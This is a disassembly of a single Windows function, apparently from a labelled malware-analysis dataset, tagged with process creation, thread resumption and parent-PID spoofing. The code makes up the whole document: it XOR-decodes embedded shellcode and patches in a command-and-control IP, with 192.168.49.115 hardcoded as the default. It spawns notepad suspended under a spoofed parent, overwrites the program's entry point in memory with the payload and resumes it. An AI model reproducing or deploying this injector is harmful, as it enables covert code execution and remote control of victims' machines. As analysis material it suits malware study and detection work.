Function at 0x140001492
Capabilities:
Create process on windows
Resume thread
Spoof parent pid

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x6d8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x680], ecx
mov qword [rbp + 0x688], rdx
call sym.__main
mov qword [rbp + 0x5b0], 0
mov qword [rbp + 0x5b8], 0
mov dword [rbp + 0x64c], 0x1290
cmp dword [rbp + 0x680], 3
je 0x14000150d
lea rax, str.Usage::_Inject_c2.exe__c2_ip___parent_id__n
mov rcx, rax
call dbg.printf(char const*, ::)
lea rax, [rbp + 0x5b0]
mov r8d, 0xf
lea rdx, str.192.168.49.115
mov rcx, rax
call sym.memcpy
jmp 0x14000154c
mov rax, qword [rbp + 0x688]
add rax, 8
mov rdx, qword [rax]
lea rax, [rbp + 0x5b0]
mov r8d, 0xf
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x688]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x64c], eax
lea rax, [rbp + 0x5b0]
mov rdx, rax
lea rax, str.C2_IP___s_n
mov rcx, rax
call dbg.printf(char const*, ::)
lea rax, [rbp + 0x2c0]
lea rdx, [0x140008128]
mov ecx, 0x5d
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x640], 0x2e8
mov dword [rbp + 0x2bc], 0xe19935
mov dword [rbp + 0x63c], 3
mov eax, dword [rbp + 0x640]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x648], 0
jmp 0x140001609
mov eax, dword [rbp + 0x648]
cdqe
movzx ecx, byte [rbp + rax + 0x2c0]
mov eax, dword [rbp + 0x648]
cdq
idiv dword [rbp + 0x63c]
mov eax, edx
cdqe
movzx edx, byte [rbp + rax + 0x2bc]
mov eax, dword [rbp + 0x648]
movsxd r8, eax
mov rax, qword [rbp + 0x630]
add rax, r8
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x648], 1
mov eax, dword [rbp + 0x648]
cmp eax, dword [rbp + 0x640]
jl 0x1400015c2
mov dword [rbp + 0x62c], 0x113
mov dword [rbp + 0x644], 0
jmp 0x140001661
mov edx, dword [rbp + 0x62c]
mov eax, dword [rbp + 0x644]
add eax, edx
movsxd rdx, eax
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x644]
cdqe
movzx eax, byte [rbp + rax + 0x5b0]
mov byte [rdx], al
add dword [rbp + 0x644], 1
mov eax, dword [rbp + 0x644]
movsxd rbx, eax
lea rax, [rbp + 0x5b0]
mov rcx, rax
call sym.strlen
cmp rbx, rax
jb 0x14000162d
lea rax, [rbp + 0x240]
mov r8d, 0x70
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x64c]
mov r8d, eax
mov edx, 0
mov ecx, 0x2000000
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x210], rax
lea rax, [rbp + 0x218]
mov r9, rax
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rbx, qword [rbp + 0x218]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
lea rdx, [rbp + 0x218]
mov r9, rdx
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rax, qword [rbp + 0x2a8]
lea rdx, [rbp + 0x210]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov dword [rbp + 0x240], 0x70
lea rax, [rbp + 0x220]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x240]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80004
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.notepad
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x1f0], 0
mov qword [rbp + 0x1f8], 0
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0
lea rax, [rbp + 0x1e0]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x620], rax
mov qword [rbp + 0x618], 0
lea rcx, [rbp + 0x1e0]
mov rax, qword [rbp + 0x620]
mov rdx, qword [rbp + 0x618]
mov qword [rsp + 0x20], rdx
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call sym.NtQueryInformationProcess
mov rax, qword [rbp + 0x1e8]
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
mov rdx, rax
lea rax, str.PEB_address_remote_:__p_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0x610]
add rax, 0x10
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov rdx, rax
lea rax, str.ImageBaseAddress_remote_:_0x_llx_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1d0], 0
lea r8, [rbp + 0x1d8]
mov rdx, qword [rbp + 0x608]
mov rax, qword [rbp + 0x620]
lea rcx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x140001963
call dbg.GetLastErrorAsString()
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5c8]
mov rdx, rax
lea rax, str.Errord_out:__s_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
call fcn.140005e20
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x1d8]
mov rdx, rax
lea rax, str.Remote_Image_Address_remote_:_0x_llx_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
lea rdx, [rbp - 0x20]
mov eax, 0
mov ecx, 0x3e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0x1d8]
mov r10, rax
lea rcx, [rbp - 0x30]
mov rax, qword [rbp + 0x620]
lea rdx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rdx
mov r9d, 0x200
mov r8, rcx
mov rdx, r10
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x140001a20
call dbg.GetLastErrorAsString()
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
mov rdx, rax
lea rax, str.Errord_out:__s_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0x5d0]
mov rcx, rax
call fcn.140005e20
mov ecx, 1
call sym.exit
lea rax, [rbp - 0x30]
add rax, 0x3c
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
mov rax, qword [rax]
mov dword [rbp + 0x5fc], eax
mov eax, dword [rbp + 0x5fc]
mov edx, eax
lea rax, str.peoffset_remote_:_0x_llx_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [rbp + 0x5fc]
lea rdx, [rax + 0x28]
lea rax, [rbp - 0x30]
add rax, rdx
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
mov rax, qword [rax]
mov dword [rbp + 0x5ec], eax
mov eax, dword [rbp + 0x5ec]
mov edx, eax
lea rax, str.entryOffset_remote_:_0x_llx_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov edx, dword [rbp + 0x5ec]
mov rax, qword [rbp + 0x1d8]
add rax, rdx
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
mov rdx, rax
lea rax, str.Writting_memory_too_remote_:_0x_llx_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [rbp + 0x640]
movsxd r9, eax
mov r8, qword [rbp + 0x630]
mov rdx, qword [rbp + 0x5e0]
mov rax, qword [rbp + 0x620]
lea rcx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x140001b42
call dbg.GetLastErrorAsString()
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
mov rdx, rax
lea rax, str.Errord_out:__s_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
call fcn.140005e20
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 0
add rsp, 0x6d8
pop rbx
pop rsi
pop rdi
pop rbp
ret